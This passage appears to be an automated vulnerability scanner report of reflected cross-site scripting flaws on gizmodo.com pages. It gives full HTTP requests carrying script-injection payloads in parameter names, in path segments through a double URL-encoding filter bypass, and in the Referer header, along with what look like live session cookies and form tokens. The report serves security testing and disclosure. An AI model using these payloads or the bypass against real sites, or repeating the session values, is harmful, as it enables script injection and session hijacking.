fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
1.24. http://gizmodo.com/tag/wikileaks/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gizmodo.com
Path:
/tag/wikileaks/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 572c7"><script>alert(1)</script>dbe16609f51 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag/wikileaks/?572c7"><script>alert(1)</script>dbe16609f51=1 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ac9f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eacb48eab81b was submitted in the REST URL parameter 2. This input was echoed as 7ac9f"><script>alert(1)</script>acb48eab81b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /tag/worstmodo7ac9f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eacb48eab81b/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a8a5"-alert(1)-"916f5f5f443 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag/worstmodo6a8a5"-alert(1)-"916f5f5f443/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
1.27. http://gizmodo.com/tag/worstmodo/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gizmodo.com
Path:
/tag/worstmodo/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5495"><script>alert(1)</script>d683fc72f72 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag/worstmodo/?a5495"><script>alert(1)</script>d683fc72f72=1 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d6ed9"-alert(1)-"2154c8ba72a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag/youtubed6ed9"-alert(1)-"2154c8ba72a/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 156ba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eef49fa8ba21 was submitted in the REST URL parameter 2. This input was echoed as 156ba"><script>alert(1)</script>ef49fa8ba21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /tag/youtube156ba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eef49fa8ba21/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
1.30. http://gizmodo.com/tag/youtube/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gizmodo.com
Path:
/tag/youtube/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79109"><script>alert(1)</script>83f6ce91970 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag/youtube/?79109"><script>alert(1)</script>83f6ce91970=1 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44512"%3balert(1)//3fbb0c65a0f was submitted in the Referer HTTP header. This input was echoed as 44512";alert(1)//3fbb0c65a0f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5694699/gizmodos-gift-guides-updated HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071; Referer: http://www.google.com/search?hl=en&q=44512"%3balert(1)//3fbb0c65a0f
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d69b2"%3balert(1)//bed6325c225 was submitted in the Referer HTTP header. This input was echoed as d69b2";alert(1)//bed6325c225 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5702651/control4-home-automation-review-access-anything-from-anywhere HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071; Referer: http://www.google.com/search?hl=en&q=d69b2"%3balert(1)//bed6325c225
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2bebd"%3balert(1)//eb779a04753 was submitted in the Referer HTTP header. This input was echoed as 2bebd";alert(1)//eb779a04753 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5711721/this-weeks-best-apps HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071; Referer: http://www.google.com/search?hl=en&q=2bebd"%3balert(1)//eb779a04753
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a84eb"%3balert(1)//b0cf571a1a was submitted in the Referer HTTP header. This input was echoed as a84eb";alert(1)//b0cf571a1a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071; Referer: http://www.google.com/search?hl=en&q=a84eb"%3balert(1)//b0cf571a1a
